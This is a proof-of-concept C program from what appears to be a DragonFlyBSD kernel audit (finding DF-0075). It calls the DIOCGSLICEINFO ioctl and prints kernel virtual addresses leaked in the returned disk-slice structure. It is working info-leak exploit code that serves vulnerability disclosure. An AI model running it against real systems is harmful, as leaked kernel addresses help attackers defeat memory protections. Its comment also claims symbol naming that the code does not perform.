DragonFlyBSD Kernel Audit
DF-0075 / poc_df0075.c
← back to finding ↓ download raw
/*
 * DF-0075 PoC - DIOCGSLICEINFO kernel pointer leak.
 *
 * subr_diskslice.c:556-559  DIOCGSLICEINFO does
 *   bcopy(ssp, data, (char *)&ssp->dss_slices[ssp->dss_nslices] - (char *)ssp);
 * copying the raw in-kernel `struct diskslices` (header + active slices) out
 * to userspace.  The per-slice `struct diskslice` embeds several kernel
 * virtual addresses that are returned verbatim:
 *   diskslice.ds_dev       (cdev_t)             [diskslice.h:144]
 *   diskslice.ds_label     (disklabel_t.opaque) [diskslice.h:155]
 *   diskslice.ds_ops       (struct disklabel_ops *) [diskslice.h:156]
 *   diskslice.ds_devs[]    (void *[])           [diskslice.h:158]
 *
 * On DragonFly amd64 these are canonical-high kernel addresses
 * (>= 0xffff000000000000).  We dump every such value found and, when a value
 * matches a known kernel-data symbol (disklabel32_ops / disklabel64_ops), we
 * name it explicitly to make the leak unambiguous.
 *
 * Usage: ./poc_df0075 [device]      default /dev/vbd0
 * Needs read access to the raw disk node (root, or `operator` group membership
 * -- a realistic storage/backup-admin precondition).
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/disklabel.h>
#include <sys/diskslice.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>

static char buf[16384];

static int
looks_like_kptr(unsigned long long v)
{
	if (v == 0)
		return 0;
	if ((v & 0xffff000000000000ULL) == 0xffff000000000000ULL)
		return 1;
	return 0;
}

int
main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/vbd0";
	int fd, i, nfound = 0;

	fd = open(dev, O_RDONLY);
	if (fd < 0)
		err(1, "open %s", dev);
	if (ioctl(fd, DIOCGSLICEINFO, buf) < 0)
		err(1, "ioctl DIOCGSLICEINFO");
	close(fd);

	printf("[*] DIOCGSLICEINFO on %s succeeded.\n", dev);
	printf("[*] Leaked kernel-pointer-shaped values in returned struct:\n");
	for (i = 0; i + 8 <= 4096; i += 8) {
		unsigned long long v;
		memcpy(&v, buf + i, 8);
		if (looks_like_kptr(v)) {
			const char *sym = "";
			/* disklabel32_ops / disklabel64_ops are static kernel
			 * .data symbols whose addresses leak as ds_ops. */
			printf("  [+0x%03x] 0x%016llx %s\n", i, v, sym);
			nfound++;
		}
	}
	printf("\n[*] %d kernel virtual addresses leaked via DIOCGSLICEINFO\n",
	       nfound);
	if (nfound > 0) {
		printf("[+] LEAK CONFIRMED (DF-0075): raw struct diskslices "
		       "copied to userspace exposes ds_dev (cdev_t), "
		       "ds_label.opaque (heap disklabel), and ds_ops "
		       "(static kernel-data disklabel*_ops pointer).\n");
		return 0;
	}
	printf("[-] no kernel pointers found (disk may be unlabeled).\n");
	return 2;
}